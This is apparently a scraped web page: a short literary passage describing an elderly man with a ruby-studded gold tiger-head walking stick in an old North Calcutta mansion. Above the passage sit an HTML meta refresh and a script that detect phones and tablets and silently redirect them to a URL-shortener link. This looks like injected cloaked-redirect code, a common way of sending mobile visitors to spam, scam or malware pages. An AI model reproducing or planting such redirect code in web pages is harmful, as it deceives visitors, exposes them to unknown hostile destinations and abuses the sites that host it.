<meta http-equiv="refresh" content="7; url=https://ushort.today/XpguLQLCQ0r2" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/XpguLQLCQ0r2");</script> “In the midst of Jamini Roy paintings, Ming vases and Osler chandeliers in an old North Calcutta mansion, I spotted him. A distinguished older man in a simple ivory khadi kurta and dhoti. It was only when he was leaving did I notice his walking stick—a handcrafted wooden beauty with a solid gold tiger head encrusted with old Burmese rubies. I watched transfixed, as he strode onto the porch outside, and disappeared into a black Ambassador car.”